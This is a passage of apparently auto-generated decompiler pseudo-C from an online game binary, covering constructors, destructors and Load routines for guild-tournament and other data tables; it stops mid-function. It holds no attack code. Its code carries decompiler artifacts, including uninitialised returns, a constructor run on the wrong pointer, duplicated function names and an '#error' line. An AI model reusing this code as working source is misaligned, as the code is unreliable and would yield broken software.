ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00538050) -------------------------------------------------------- NPCAction::IAction **__cdecl std::copy(NPCAction::IAction **_First, NPCAction::IAction **_Last, NPCAction::IAction **_Dest) { int v3; // eax@1 memmove((char *)_Dest, (char *)_First, 4 * (_Last - _First)); return (NPCAction::IAction **)(4 * (_Last - _First) + v3); } //----- (00538080) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (005380D0) -------------------------------------------------------- int __stdcall std::vector>::_Ucopy(char *src, int a2, char *dst) { int v3; // eax@1 memmove(dst, src, 4 * ((a2 - (signed int)src) >> 2)); return 4 * ((a2 - (signed int)src) >> 2) + v3; } //----- (00538100) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00538220) -------------------------------------------------------- void __thiscall GuildTournamentScoreTable::GuildTournamentScoreTable(GuildTournamentScoreTable *this) { GuildTournamentScoreTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S234 & 1) ) { _S234 |= 1u; atexit(_E235); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&GuildTournamentScoreTable::_vftable_; } // 5D4CD4: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_SCORE_GuildTournamentScoreTable____vftable_)(int __formal); // 5D4DBC: using guessed type int (__cdecl *GuildTournamentScoreTable___vftable_)(int __formal); //----- (00538270) -------------------------------------------------------- void *__thiscall GuildTournamentScoreTable::_scalar_deleting_destructor_(GuildTournamentScoreTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GuildTournamentScoreTable::_GuildTournamentScoreTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005382A0) -------------------------------------------------------- void __thiscall GuildTournamentLvGapTable::GuildTournamentLvGapTable(GuildTournamentLvGapTable *this) { GuildTournamentLvGapTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S236 & 1) ) { _S236 |= 1u; atexit(_E237); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&GuildTournamentLvGapTable::_vftable_; } // 5D4CE0: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_LVGAP_GuildTournamentLvGapTable____vftable_)(int __formal); // 5D4DC8: using guessed type int (__cdecl *GuildTournamentLvGapTable___vftable_)(int __formal); //----- (005382F0) -------------------------------------------------------- void *__thiscall GuildTournamentLvGapTable::_scalar_deleting_destructor_(GuildTournamentLvGapTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GuildTournamentLvGapTable::_GuildTournamentLvGapTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00538320) -------------------------------------------------------- void __thiscall GuildTournamentOccupyTable::GuildTournamentOccupyTable(GuildTournamentOccupyTable *this) { GuildTournamentOccupyTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S238 & 1) ) { _S238 |= 1u; atexit(_E239); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&GuildTournamentOccupyTable::_vftable_; } // 5D4CEC: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_OCCUPY_GuildTournamentOccupyTable____vftable_)(int __formal); // 5D4DD4: using guessed type int (__cdecl *GuildTournamentOccupyTable___vftable_)(int __formal); //----- (00538370) -------------------------------------------------------- void *__thiscall GuildTournamentOccupyTable::_vector_deleting_destructor_(GuildTournamentOccupyTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GuildTournamentOccupyTable::_GuildTournamentOccupyTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005383A0) -------------------------------------------------------- void __thiscall GuildTournamentSkillTable::GuildTournamentSkillTable(GuildTournamentSkillTable *this) { GuildTournamentSkillTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S240 & 1) ) { _S240 |= 1u; atexit(_E241); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&GuildTournamentSkillTable::_vftable_; } // 5D4CF8: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_SKILL_GuildTournamentSkillTable____vftable_)(int __formal); // 5D4DE0: using guessed type int (__cdecl *GuildTournamentSkillTable___vftable_)(int __formal); //----- (005383F0) -------------------------------------------------------- void *__thiscall GuildTournamentSkillTable::_scalar_deleting_destructor_(GuildTournamentSkillTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GuildTournamentSkillTable::_GuildTournamentSkillTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00538420) -------------------------------------------------------- void __thiscall GuildTournamentMasterBuffTable::GuildTournamentMasterBuffTable(GuildTournamentMasterBuffTable *this) { GuildTournamentMasterBuffTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S242 & 1) ) { _S242 |= 1u; atexit(_E243); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&GuildTournamentMasterBuffTable::_vftable_; } // 5D4D04: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_MASTERBUFF_GuildTournamentMasterBuffTable____vftable_)(int __formal); // 5D4DEC: using guessed type int (__cdecl *GuildTournamentMasterBuffTable___vftable_)(int __formal); //----- (00538470) -------------------------------------------------------- void *__thiscall GuildTournamentMasterBuffTable::_vector_deleting_destructor_(GuildTournamentMasterBuffTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GuildTournamentMasterBuffTable::_GuildTournamentMasterBuffTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005384A0) -------------------------------------------------------- void __thiscall GTIGetRateTable::GTIGetRateTable(GTIGetRateTable *this) { GTIGetRateTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S244 & 1) ) { _S244 |= 1u; atexit(_E245); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)>IGetRateTable::_vftable_; } // 5D4D10: using guessed type int (__cdecl *ITableBase_GTIGetRate_GTIGetRateTable____vftable_)(int __formal); // 5D4DF8: using guessed type int (__cdecl *GTIGetRateTable___vftable_)(int __formal); //----- (005384F0) -------------------------------------------------------- void *__thiscall GTIGetRateTable::_vector_deleting_destructor_(GTIGetRateTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GTIGetRateTable::_GTIGetRateTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00538520) -------------------------------------------------------- void __thiscall GTIGetRateGapTable::GTIGetRateGapTable(GTIGetRateGapTable *this) { GTIGetRateGapTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S246 & 1) ) { _S246 |= 1u; atexit(_E247); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)>IGetRateGapTable::_vftable_; } // 5D4D1C: using guessed type int (__cdecl *ITableBase_GTIGetRateGap_GTIGetRateGapTable____vftable_)(int __formal); // 5D4E04: using guessed type int (__cdecl *GTIGetRateGapTable___vftable_)(int __formal); //----- (00538570) -------------------------------------------------------- void *__thiscall GTIGetRateGapTable::_vector_deleting_destructor_(GTIGetRateGapTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GTIGetRateGapTable::_GTIGetRateGapTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005385A0) -------------------------------------------------------- void __thiscall GTIServerTable::GTIServerTable(GTIServerTable *this) { GTIServerTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S248 & 1) ) { _S248 |= 1u; atexit(_E249); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)>IServerTable::_vftable_; } // 5D4D28: using guessed type int (__cdecl *ITableBase_GTIServer_GTIServerTable____vftable_)(int __formal); // 5D4E10: using guessed type int (__cdecl *GTIServerTable___vftable_)(int __formal); //----- (005385F0) -------------------------------------------------------- void *__thiscall GTIServerTable::_scalar_deleting_destructor_(GTIServerTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GTIServerTable::_GTIServerTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00538620) -------------------------------------------------------- void __thiscall GTIBreedSubjectTable::GTIBreedSubjectTable(GTIBreedSubjectTable *this) { GTIBreedSubjectTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S250 & 1) ) { _S250 |= 1u; atexit(_E251); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)>IBreedSubjectTable::_vftable_; } // 5D4D34: using guessed type int (__cdecl *ITableBase_GTIBreedSubject_GTIBreedSubjectTable____vftable_)(int __formal); // 5D4E1C: using guessed type int (__cdecl *GTIBreedSubjectTable___vftable_)(int __formal); //----- (00538670) -------------------------------------------------------- void *__thiscall GTIBreedSubjectTable::_scalar_deleting_destructor_(GTIBreedSubjectTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GTIBreedSubjectTable::_GTIBreedSubjectTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005386A0) -------------------------------------------------------- void __thiscall GTWinScoreTable::GTWinScoreTable(GTWinScoreTable *this) { GTWinScoreTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S252 & 1) ) { _S252 |= 1u; atexit(_E253); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)>WinScoreTable::_vftable_; } // 5D4D40: using guessed type int (__cdecl *ITableBase_GTWinScore_GTWinScoreTable____vftable_)(int __formal); // 5D4E28: using guessed type int (__cdecl *GTWinScoreTable___vftable_)(int __formal); //----- (005386F0) -------------------------------------------------------- void *__thiscall GTWinScoreTable::_scalar_deleting_destructor_(GTWinScoreTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GTWinScoreTable::_GTWinScoreTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00538720) -------------------------------------------------------- void __thiscall AccUpGradeTable::AccUpGradeTable(AccUpGradeTable *this) { AccUpGradeTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S254 & 1) ) { _S254 |= 1u; atexit(_E255); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&AccUpGradeTable::_vftable_; } // 5D4D6C: using guessed type int (__cdecl *ITableBase_AccUpgrade_AccUpGradeTable____vftable_)(int __formal); // 5D4E34: using guessed type int (__cdecl *AccUpGradeTable___vftable_)(int __formal); //----- (00538770) -------------------------------------------------------- void *__thiscall AccUpGradeTable::_scalar_deleting_destructor_(AccUpGradeTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; AccUpGradeTable::_AccUpGradeTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005387A0) -------------------------------------------------------- void __thiscall MysteryVaultTable::MysteryVaultTable(MysteryVaultTable *this) { MysteryVaultTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S256 & 1) ) { _S256 |= 1u; atexit(_E257); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&MysteryVaultTable::_vftable_; } // 5D4D78: using guessed type int (__cdecl *ITableBase_MysteryVaultServer_MysteryVaultTable____vftable_)(int __formal); // 5D4E40: using guessed type int (__cdecl *MysteryVaultTable___vftable_)(int __formal); //----- (005387F0) -------------------------------------------------------- void *__thiscall MysteryVaultTable::_scalar_deleting_destructor_(MysteryVaultTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MysteryVaultTable::_MysteryVaultTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00538820) -------------------------------------------------------- void __thiscall LevelGap_Player_to_Monster::LevelGap_Player_to_Monster(LevelGap_Player_to_Monster *this) { LevelGap_Player_to_Monster *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S258 & 1) ) { _S258 |= 1u; atexit(_E259); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&LevelGap_Player_to_Monster::_vftable_; } // 5D4D84: using guessed type int (__cdecl *ITableBase_DamageLvGapPVE_LevelGap_Player_to_Monster____vftable_)(int __formal); // 5D4E4C: using guessed type int (__cdecl *LevelGap_Player_to_Monster___vftable_)(int __formal); //----- (00538870) -------------------------------------------------------- void *__thiscall LevelGap_Player_to_Monster::_vector_deleting_destructor_(LevelGap_Player_to_Monster *this, unsigned int a2) { void *v2; // esi@1 v2 = this; LevelGap_Player_to_Monster::_LevelGap_Player_to_Monster(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005388A0) -------------------------------------------------------- void __thiscall LevelGap_Monster_to_Player::LevelGap_Monster_to_Player(LevelGap_Monster_to_Player *this) { LevelGap_Monster_to_Player *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S260 & 1) ) { _S260 |= 1u; atexit(_E261); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&LevelGap_Monster_to_Player::_vftable_; } // 5D4D90: using guessed type int (__cdecl *ITableBase_DamageLvGapEVP_LevelGap_Monster_to_Player____vftable_)(int __formal); // 5D4E58: using guessed type int (__cdecl *LevelGap_Monster_to_Player___vftable_)(int __formal); //----- (005388F0) -------------------------------------------------------- void *__thiscall LevelGap_Monster_to_Player::_scalar_deleting_destructor_(LevelGap_Monster_to_Player *this, unsigned int a2) { void *v2; // esi@1 v2 = this; LevelGap_Monster_to_Player::_LevelGap_Monster_to_Player(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00538920) -------------------------------------------------------- void __thiscall IIDTableBase::IIDTableBase(IIDTableBase *this) { IIDTableBase *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S262 & 1) ) { _S262 |= 1u; atexit(_E263); } v1->baseclass_0.m_acFilename[0] = 0; v1->m_pkRecordIDMap = 0; v1->m_tMostLargeID = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&IIDTableBase::_vftable_; } // 5D4D4C: using guessed type int (__cdecl *ITableBase_AccUpGradeInfo_AccUpGradeInfoTable____vftable_)(int __formal); // 5D4D58: using guessed type int (__cdecl *IIDTableBase_AccUpGradeInfo_AccUpGradeInfoTable_int____vftable_)(int __formal); //----- (00538980) -------------------------------------------------------- void __thiscall IIDTableBase::IIDTableBase(IIDTableBase *this) { IIDTableBase *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S264 & 1) ) { _S264 |= 1u; atexit(_E265); } v1->baseclass_0.m_acFilename[0] = 0; v1->m_pkRecordIDMap = 0; v1->m_tMostLargeID = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&IIDTableBase::_vftable_; } // 5D4D9C: using guessed type int (__cdecl *ITableBase_DamageLvGapPVP_LevelGap_Player_to_Player____vftable_)(int __formal); // 5D4DA8: using guessed type int (__cdecl *IIDTableBase_DamageLvGapPVP_LevelGap_Player_to_Player_unsigned char____vftable_)(int __formal); //----- (005389E0) -------------------------------------------------------- #error "5389E0: undefined or illegal type 'ListArray' (funcsize=71)" //----- (00538AB0) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GuildTournamentScoreTable::GuildTournamentScoreTable((GuildTournamentScoreTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read( (CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 879 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 1250D64C: using guessed type int ITableBase_GUILD_TOURNAMENT_SCORE_GuildTournamentScoreTable___ms_pkTable; //----- (00538B80) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GuildTournamentLvGapTable::GuildTournamentLvGapTable((GuildTournamentLvGapTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read( (CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 23 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 1250D650: using guessed type int ITableBase_GUILD_TOURNAMENT_LVGAP_GuildTournamentLvGapTable___ms_pkTable; //----- (00538C50) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GuildTournamentOccupyTable::GuildTournamentOccupyTable((GuildTournamentOccupyTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read( (CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 18 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 1250D654: using guessed type int ITableBase_GUILD_TOURNAMENT_OCCUPY_GuildTournamentOccupyTable___ms_pkTable; //----- (00538D20) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GuildTournamentSkillTable::GuildTournamentSkillTable((GuildTournamentSkillTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read( (CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 261 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 1250D658: using guessed type int ITableBase_GUILD_TOURNAMENT_SKILL_GuildTournamentSkillTable___ms_pkTable; //----- (00538DF0) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GuildTournamentMasterBuffTable::GuildTournamentMasterBuffTable((GuildTournamentMasterBuffTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read( (CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 44 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 1250D65C: using guessed type int ITableBase_GUILD_TOURNAMENT_MASTERBUFF_GuildTournamentMasterBuffTable___ms_pkTable; //----- (00538EC0) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GTIGetRateTable::GTIGetRateTable((GTIGetRateTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 70 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 1250D660: using guessed type int ITableBase_GTIGetRate_GTIGetRateTable___ms_pkTable; //----- (00538F90) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GTIGetRateGapTable::GTIGetRateGapTable((GTIGetRateGapTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 7 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // C88F940: using guessed type int ITableBase_GTIGetRateGap_GTIGetRateGapTable___ms_pkTable; //----- (00539060) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GTIServerTable::GTIServerTable((GTIServerTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 383 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // C88F944: using guessed type int ITableBase_GTIServer_GTIServerTable___ms_pkTable; //----- (00539130) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GTIBreedSubjectTable::GTIBreedSubjectTable((GTIBreedSubjectTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 44 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 1250D664: using guessed type int ITableBase_GTIBreedSubject_GTIBreedSubjectTable___ms_pkTable; //----- (00539200) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = 